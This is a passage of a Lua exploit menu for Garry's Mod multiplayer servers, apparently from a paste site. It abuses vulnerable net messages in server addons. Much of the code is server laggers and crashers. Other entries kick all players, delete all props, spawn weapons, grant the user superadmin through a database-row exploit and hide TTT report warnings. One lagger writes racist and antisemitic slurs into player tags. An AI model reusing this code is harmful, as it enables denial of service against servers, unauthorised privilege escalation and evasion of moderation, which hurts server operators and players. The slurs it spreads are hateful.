  906. net.WriteString( "adminroom1" )
  907.  
  908. net.SendToServer()
  909.  
  910. net.Start( "ATS_WARP_FROM_CLIENT" )
  911.  
  912. net.WriteEntity( v )
  913.  
  914. net.WriteString( "adminroom1" )
  915.  
  916. net.SendToServer()
  917.  
  918. net.Start( "ATS_WARP_VIEWOWNER" )
  919.  
  920. net.WriteEntity( v )
  921.  
  922. net.WriteString( "adminroom1" )
  923.  
  924. net.SendToServer()
  925.  
  926. end
  927.  
  928. end)
  929. else
  930. SploitNotify("Stopping Lagger")
  931. lagger1 = 0
  932. timer.Remove("lagger1")
  933. end
  934.  
  935. end);end
  936.  
  937. local status = ValidNetString("CFRemoveGame")
  938. if (status) then
  939. SploitText("Found Exploit: Lagger #2")
  940. lagger2 = 0
  941. addExploit( "21", "Lagger #2", "b1g lags", function()
  942. surface.PlaySound("garrysmod/ui_click.wav")
  943. if (lagger2 == 0) then
  944. SploitNotify("Starting Lagger")
  945. lagger2 = 1
  946. timer.Create("lagger2", 0.01, 0, function()
  947.  
  948. for k,v in pairs(player.GetAll()) do
  949.  
  950. net.Start( "CFRemoveGame" )
  951.  
  952. net.WriteFloat( math.Round( "10000\n" ) )
  953.  
  954. net.SendToServer()
  955.  
  956. net.Start( "CFJoinGame" )
  957.  
  958. net.WriteFloat( math.Round( "10000\n" ) )
  959.  
  960. net.SendToServer()
  961.  
  962. net.Start( "CFEndGame" )
  963.  
  964. net.WriteFloat( "10000\n" )
  965.  
  966. net.SendToServer()
  967.  
  968. end
  969.  
  970. end)
  971. else
  972. SploitNotify("Stopping Lagger")
  973. lagger2 = 0
  974. timer.Remove("lagger2")
  975. end
  976.  
  977. end);end
  978.  
  979. local status = ValidNetString("CreateCase")
  980. if (status) then
  981. SploitText("Found Exploit: Lagger #4")
  982. lagger4 = 0
  983. addExploit( "23", "Lagger #4", "b1g lags", function()
  984. surface.PlaySound("garrysmod/ui_click.wav")
  985. if (lagger4 == 0) then
  986. SploitNotify("Starting Lagger")
  987. lagger4 = 1
  988. timer.Create("lagger4", 0.02, 0, function()
  989.  
  990. for i = 1, 300 do
  991.  
  992. net.Start( "CreateCase" )
  993.  
  994. net.WriteString( "tapped by citizenhack.me" )
  995.  
  996. net.SendToServer()
  997.  
  998.  
  999. end;end)
  1000. else
  1001. SploitNotify("Stopping Lagger")
  1002. lagger4 = 0
  1003. timer.Remove("lagger4")
  1004. end
  1005.  
  1006. end);end
  1007.  
  1008. local status = ValidNetString("rprotect_terminal_settings")
  1009. if (status) then
  1010. SploitText("Found Exploit: Lagger #5")
  1011. lagger5 = 0
  1012. addExploit( "24", "Lagger #5", "b1g lags", function()
  1013. surface.PlaySound("garrysmod/ui_click.wav")
  1014. if (lagger5 == 0) then
  1015. SploitNotify("Starting Lagger")
  1016. lagger5 = 1
  1017. timer.Create("lagger5", 0.02, 0, function()
  1018.  
  1019. for i = 1, 200 do
  1020.  
  1021. net.Start( "rprotect_terminal_settings" )
  1022.  
  1023. net.WriteEntity( LocalPlayer() )
  1024.  
  1025. net.SendToServer()
  1026.  
  1027. end
  1028.  
  1029. end)
  1030. else
  1031. SploitNotify("Stopping Lagger")
  1032. lagger5 = 0
  1033. timer.Remove("lagger5")
  1034. end
  1035.  
  1036. end);end
  1037.  
  1038. local status = ValidNetString("StackGhost")
  1039. if (status) then
  1040. SploitText("Found Exploit: Lagger #6")
  1041. lagger6 = 0
  1042. addExploit( "25", "Lagger #6", "b1g lags", function()
  1043. surface.PlaySound("garrysmod/ui_click.wav")
  1044. if (lagger6 == 0) then
  1045. SploitNotify("Starting Lagger")
  1046. lagger6 = 1
  1047. timer.Create("lagger6", 0.010, 0, function()
  1048.  
  1049. for i = 1, 8 do
  1050. for k,v in pairs( player.GetAll() ) do
  1051. net.Start( "StackGhost" )
  1052. net.WriteInt(69,32)
  1053. net.SendToServer()
  1054.  
  1055. end;end;end)
  1056. else
  1057. SploitNotify("Stopping Lagger")
  1058. lagger6 = 0
  1059. timer.Remove("lagger6")
  1060. end
  1061.  
  1062. end);end
  1063.  
  1064.  
  1065.  
  1066. local status = ValidNetString("pac_to_contraption")
  1067. if (status) then
  1068. SploitText("Found Exloit: Crash Server")
  1069. addExploit( "26","Crash Server", "Crashes the server (seems to not always work)", function()
  1070. surface.PlaySound("garrysmod/ui_click.wav")
  1071. SploitNotify("Crashing Server")
  1072. local tbl = {}
  1073.  
  1074. for i=1,1000000000 do
  1075.  
  1076. tbl[#tbl + 1] = i
  1077.  
  1078. end
  1079.  
  1080. net.Start("pac_to_contraption")
  1081.  
  1082. net.WriteTable( tbl )
  1083.  
  1084. net.SendToServer()
  1085. end);end
  1086.  
  1087.  
  1088. local status = ValidNetString("NLRKick")
  1089. if (status) then
  1090. SploitText("Found Exploit: Kick All")
  1091. addExploit( "27","Kick All", "kick all the beaners", function()
  1092. surface.PlaySound("garrysmod/ui_click.wav")
  1093. SploitNotify("Kicking All")
  1094. for k,v in pairs(player.GetAll()) do
  1095. if v != LocalPlayer() then
  1096. net.Start("NLRKick")
  1097. net.WriteEntity(v)
  1098. net.SendToServer()
  1099. end
  1100. end
  1101. end);end
  1102.  
  1103. local status = ValidNetString("JoinOrg")
  1104. if (status) then
  1105. SploitText("Found Exploit: Lagger #7")
  1106. lagger7 = 0
  1107. addExploit( "28", "Lagger #7", "b1111g lags", function()
  1108. surface.PlaySound("garrysmod/ui_click.wav")
  1109. if (lagger7 == 0) then
  1110. SploitNotify("Starting Lagger")
  1111. lagger7 = 1
  1112. timer.Create("lagger7", 0.02, 0, function()
  1113.  
  1114. for k,v in pairs(player.GetAll()) do
  1115. net.Start("JoinOrg")
  1116. net.WriteEntity(LocalPlayer())
  1117. net.WriteString("test")
  1118. net.SendToServer()
  1119. end
  1120.  
  1121. end)
  1122. else
  1123. SploitNotify("Stopping Lagger")
  1124. lagger7 = 0
  1125. timer.Remove("lagger7")
  1126. end
  1127.  
  1128. end);end
  1129.  
  1130. local status = ValidNetString("giveweapon")
  1131. if (status) then
  1132. SploitText("Found Exploit: Give Weapons")
  1133. addExploit( "29", "Give Weapons", "big explo1t", function()
  1134. inputFrame2Exists = true
  1135. inputFrame2 = vgui.Create( "DFrame" )
  1136. inputFrame2:SetTitle("Choose a weapon!")
  1137. inputFrame2:SetSize( 400, 75 )
  1138. inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
  1139. inputFrame2:SetDraggable(false)
  1140. inputFrame2:ShowCloseButton(false)
  1141. inputFrame2:MakePopup()
  1142. inputFrame2.Paint = function( self, w, h )
  1143. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1144. end
  1145.  
  1146. local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
  1147. TextEntry2:SetSize( 380, 30 )
  1148. TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
  1149. TextEntry2:SetText( "m9k_ak47" )
  1150. TextEntry2.OnEnter = function( self )
  1151. surface.PlaySound("garrysmod/ui_click.wav")
  1152. SploitNotify("Giving " .. TextEntry2:GetValue())
  1153.  
  1154.  
  1155. net.Start("giveweapon")
  1156. net.WriteEntity(LocalPlayer())
  1157. net.WriteString(TextEntry2:GetValue())
  1158. net.SendToServer()
  1159.  
  1160. inputFrame2:SetVisible(false)
  1161. end
  1162. end)
  1163. end
  1164.  
  1165. local status = ValidNetString("timebombDefuse")
  1166. if (status) then
  1167. SploitText("Found Exploit: Delete All Props")
  1168. addExploit( "30","Delete All Props", "props = dead", function()
  1169. surface.PlaySound("garrysmod/ui_click.wav")
  1170. SploitNotify("Props De_Stroyed")
  1171. for k,v in pairs(ents.GetAll()) do
  1172. net.Start("timebombDefuse")
  1173. net.WriteEntity(v)
  1174. net.WriteBool(true)
  1175. net.SendToServer()
  1176. end
  1177. end);end
  1178.  
  1179. local status = ValidNetString("pac_submit")
  1180. if (status) then
  1181. SploitText("Found Exploit: Lagger")
  1182. addExploit( "31","Lagger #8", "l4g yuh", function()
  1183. surface.PlaySound("garrysmod/ui_click.wav")
  1184.  
  1185. if !timer.Exists( "lagger8" ) then
  1186. timer.Create("lagger8", 0.5, 0, function()
  1187. for i=1, 1800 do
  1188. net.Start("pac_submit")
  1189. net.SendToServer()
  1190. end
  1191. end)
  1192. SploitNotify("Starting Lagger")
  1193. else
  1194. timer.Remove("lagger8")
  1195. SploitNotify("Stopping Lagger")
  1196. end
  1197. end);end
  1198.  
  1199.  
  1200. local status = ValidNetString("steamid2")
  1201. if (status) then
  1202. SploitText("Found Exploit: Lagger #9")
  1203. addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
  1204. surface.PlaySound("garrysmod/ui_click.wav")
  1205.  
  1206. if !timer.Exists( "lagger9" ) then
  1207.  
  1208. SploitNotify("Starting Lagger")
  1209.  
  1210. timer.Create( "lagger9", 0, 0, function()
  1211.  
  1212. for i = 1, 100 do
  1213.  
  1214. net.Start( "steamid2" )
  1215.  
  1216. net.WriteString( "discord.gg/F7nSfff" )
  1217.  
  1218. net.SendToServer()
  1219. end
  1220. end)
  1221. else
  1222. timer.Remove("lagger9")
  1223. SploitNotify("Stopping Lagger")
  1224. end
  1225.  
  1226. end);end
  1227.  
  1228. local status = ValidNetString("NDES_SelectedEmblem")
  1229. if (status) then
  1230. SploitText("Found Exploit: Lagger #10")
  1231. addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
  1232. surface.PlaySound("garrysmod/ui_click.wav")
  1233.  
  1234. if !timer.Exists( "lagger10" ) then
  1235. timer.Create("lagger10", 0.5, 0, function()
  1236. for i=1, 2000 do
  1237. net.Start("NDES_SelectedEmblem")
  1238. net.WriteString("exploitcity")
  1239. net.SendToServer()
  1240. end
  1241. end)
  1242. SploitNotify("Starting Lagger")
  1243. else
  1244. timer.Remove("lagger10")
  1245. SploitNotify("Stopping Lagger")
  1246. end
  1247.  
  1248.  
  1249. end);end
  1250.  
  1251.  
  1252.  
  1253. local status = ValidNetString("Morpheus.StaffTracker")
  1254. if (status) then
  1255. SploitText("Found Exploit: Crasher #3")
  1256. addExploit( "33","Crasher #3", "not even hard. unlike nippy's dick when he sees voltz", function()
  1257. surface.PlaySound("garrysmod/ui_click.wav")
  1258.  
  1259. if !timer.Exists( "crasher3" ) then
  1260. timer.Create("crasher3", 0.5, 0, function()
  1261. for i=1, 2000 do
  1262. net.Start("Morpheus.StaffTracker")
  1263. net.SendToServer()
  1264. end
  1265. end)
  1266. SploitNotify("Crashing Server")
  1267. else
  1268. timer.Remove("crasher3")
  1269. SploitNotify( "Canceling Crasher" )
  1270. end
  1271.  
  1272. end);end
  1273.  
  1274.  
  1275. local status = ValidNetString("egg")
  1276. if (status) then
  1277. SploitText("Found Exploit: Get Easter Egg")
  1278. addExploit( "34","Get Easter Egg", "ez eggs", function()
  1279. surface.PlaySound("garrysmod/ui_click.wav")
  1280.  
  1281. net.Start("egg")
  1282. net.SendToServer()
  1283. SploitNotify("Gave Easter Egg")
  1284.  
  1285. end);end
  1286.  
  1287. local status = ValidNetString("TalkIconChat")
  1288. if (status) then
  1289. spoofchat = 0
  1290. SploitText("Found Exploit: Spoof Chat Icon")
  1291. addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
  1292. surface.PlaySound("garrysmod/ui_click.wav")
  1293.  
  1294. if spoofchat == 0 then
  1295. hook.Remove('StartChat', 'TalkIcon')
  1296. net.Start("TalkIconChat")
  1297. net.WriteBool(true)
  1298. net.SendToServer()
  1299. spoofchat = 1
  1300. SploitNotify("Enabled Icon Spoofer")
  1301. else
  1302. net.Start("TalkIconChat")
  1303. net.WriteBool(false)
  1304. net.SendToServer()
  1305. SploitNotify("Disabled Icon Spoofer")
  1306. spoofchat = 0
  1307. end
  1308.  
  1309.  
  1310. end);end
  1311.  
  1312.  
  1313. local status = ValidNetString("join_disconnect")
  1314. if (status) then
  1315. SploitText("Found Exploit: Lagger #11")
  1316. addExploit( "36","Lagger #11", "b1g lags my duder", function()
  1317. surface.PlaySound("garrysmod/ui_click.wav")
  1318.  
  1319. if !timer.Exists( "lagger11" ) then
  1320. timer.Create("lagger11", 0.5, 0, function()
  1321. for i=1, 3000 do
  1322. net.Start("join_disconnect")
  1323. net.WriteEntity(table.Random(player.GetAll()))
  1324. net.SendToServer()
  1325. end
  1326. end)
  1327. SploitNotify("Starting Lagger")
  1328. else
  1329. timer.Remove("lagger11")
  1330. SploitNotify("Stopping Lagger")
  1331. end
  1332.  
  1333.  
  1334. end);end
  1335.  
  1336.  
  1337. local status = ValidNetString("pplay_deleterow")
  1338. if (status) then
  1339. SploitText("Found Exploit: GET SUPERADMIN")
  1340. addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
  1341. surface.PlaySound("garrysmod/ui_click.wav")
  1342.  
  1343. local id = LocalPlayer():SteamID()
  1344.  
  1345. local tbl = {}
  1346.  
  1347. tbl.name = "FAdmin_PlayerGroup"
  1348.  
  1349. tbl.where = {
  1350.  
  1351. "steamid",
  1352.  
  1353. tostring(id)
  1354.  
  1355. }
  1356.  
  1357. net.Start("pplay_deleterow")
  1358.  
  1359. net.WriteTable(tbl)
  1360.  
  1361. net.SendToServer()
  1362.  
  1363.  
  1364.  
  1365. local tbl = {}
  1366.  
  1367. tbl.tblname = "FAdmin_PlayerGroup"
  1368.  
  1369. tbl.tblinfo = {
  1370.  
  1371. tostring(id),
  1372.  
  1373. "superadmin"
  1374.  
  1375. }
  1376.  
  1377. net.Start("pplay_addrow")
  1378.  
  1379. net.WriteTable(tbl)
  1380.  
  1381. net.SendToServer()
  1382.  
  1383. SploitNotify("promotion ;)")
  1384.  
  1385.  
  1386. end);end
  1387.  
  1388. -- ttt report bypass by daddy grampa
  1389. local title = "You have been reported! Please answer all your reports."
  1390. local function CheckChild(pan)
  1391. if !pan || !IsValid(pan) then return end
  1392. if pan.GetTitle && pan:GetTitle() == title then
  1393. pan:Remove();
  1394. print("Removed warning box")
  1395. return
  1396. end
  1397. for k,v in pairs(pan:GetChildren()) do
  1398. if v.GetTitle && v:GetTitle() == title then
  1399. v:Remove();
  1400. print("Removed warning box")
  1401. return
  1402. end
  1403. if #v:GetChildren() > 0 then
  1404. CheckChild(v)
  1405. end
  1406. end
  1407. end
  1408.  
  1409.  
  1410. if (engine.ActiveGamemode() == "terrortown") then
  1411. bypass = 0
  1412. SploitText("Found Exploit: TTT Report Bypass")
  1413. addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
  1414. surface.PlaySound("garrysmod/ui_click.wav")
  1415.  
  1416. if (bypass == 0) then
  1417. hook.Add("Think", "remove_ttt_report", function()
  1418. local pan = vgui.GetHoveredPanel()
  1419. CheckChild(pan)
  1420. end)
  1421. SploitNotify("Enabled Report Bypass")
  1422. bypass = 1
  1423. else
  1424. hook.Remove("Think", "remove_ttt_report")
  1425. SploitNotify("Disabled Report Bypass")
  1426. bypass = 0
  1427. end
  1428.  
  1429.  
  1430. end);end
  1431.  
  1432. local status = ValidNetString("EZS_PlayerTag")
  1433. if (status) then
  1434. SploitText("Found exploitable net message: EZS_PlayerTag")
  1435. addExploit( "39","Lagger #12", "b1g lags my duder", function()
  1436. surface.PlaySound("garrysmod/ui_click.wav")
  1437.  
  1438. if !timer.Exists( "lagger12" ) then
  1439. timer.Create("lagger12", 0.5, 0, function()
  1440. for k, v in pairs(player.GetAll()) do
  1441. net.Start( "EZS_PlayerTag" )
  1442. net.WriteEntity(v)
  1443. net.WriteString("I hate niggers")
  1444. net.SendToServer()
  1445. timer.Simple(2, function()
  1446. net.Start( "EZS_PlayerTag" )
  1447. net.WriteEntity(v)
  1448. net.WriteString("I hate jews")
  1449. net.SendToServer()
  1450. end)
  1451. end
  1452. end)
  1453. SploitNotify("Starting Lagger")
  1454. else
  1455. timer.Remove("lagger12")
  1456. SploitNotify("Stopping Lagger")
  1457. end
  1458. end);end
  1459.  
  1460. if ConVarExists("advttt_spreadovertime_enabled") then
  1461. SploitText("Found exploitable hook: WyoziAdvTTTSpreadOverTime")
  1462. addExploit( "40","Remove Spread", "pSilent No Spread", function()
  1463. surface.PlaySound("garrysmod/ui_click.wav")
  1464. hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
  1465. SploitNotify("Spread Removed")
  1466. end);end
  1467.  
  1468.  
  1469. local status = ValidNetString("ATS_WARP_FROM_CLIENT")
  1470. if (status) then
  1471. SploitText("Found exploitable net message: ATS_WARP_FROM_CLIENT")
  1472. addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
  1473. inputFrame3Exists = true
  1474. inputFrame3 = vgui.Create( "DFrame" )
  1475. inputFrame3:SetTitle("Type a String Destination")
  1476. inputFrame3:SetSize( 400, 75 )
  1477. inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
  1478. inputFrame3:SetDraggable(false)
  1479. inputFrame3:ShowCloseButton(false)
  1480. inputFrame3:MakePopup()
  1481. inputFrame3.Paint = function( self, w, h )
  1482. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1483. end
  1484.  
  1485. local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
  1486. TextEntry3:SetSize( 380, 30 )
  1487. TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
  1488. TextEntry3:SetText( "*destination*" )
  1489. TextEntry3.OnEnter = function( self )
  1490. surface.PlaySound("garrysmod/ui_click.wav")
  1491. SploitNotify("Teleporting to " .. TextEntry3:GetValue() )
  1492.  
  1493. net.Start( "ATS_WARP_FROM_CLIENT" )
  1494.  
  1495. net.WriteEntity( LocalPlayer() )
  1496. net.WriteString( TextEntry3:GetValue() )
  1497.  
  1498. net.SendToServer()
  1499.  
  1500.  
  1501. inputFrame3:SetVisible(false)
  1502. end
  1503. end)
  1504. end
  1505.  
  1506.  
  1507.  
  1508.  
  1509.  
  1510.  
  1511. /*
  1512. local status = ValidNetString("TCBuyAmmo")
  1513. if (status) then
  1514. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  1515. surface.PlaySound("garrysmod/ui_click.wav")
  1516. SploitText("Getting Le Ammo")
  1517. end);end
  1518. */
  1519.  
  1520.  
  1521.  
  1522.  
  1523. concommand.Add("exploits_open", function()
  1524. Main:SetVisible(true)
  1525. Main:MakePopup()
  1526. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH() / 2 - Main:GetTall() / 2, .4, 0, -1)
  1527. end)
  1528.  
  1529. closebutton.DoClick = function()
  1530. Main:SetMouseInputEnabled(false)
  1531. Main:SetKeyBoardInputEnabled(false)
  1532. if (inputFrameExists) then
  1533. inputFrame:SetVisible(false)
  1534. end
  1535. if (inputFrame2Exists) then
  1536. inputFrame2:SetVisible(false)
  1537. end
  1538. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH(), .4, 0, -1, function()
  1539. Main:SetVisible(false)
  1540. end)
  1541. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement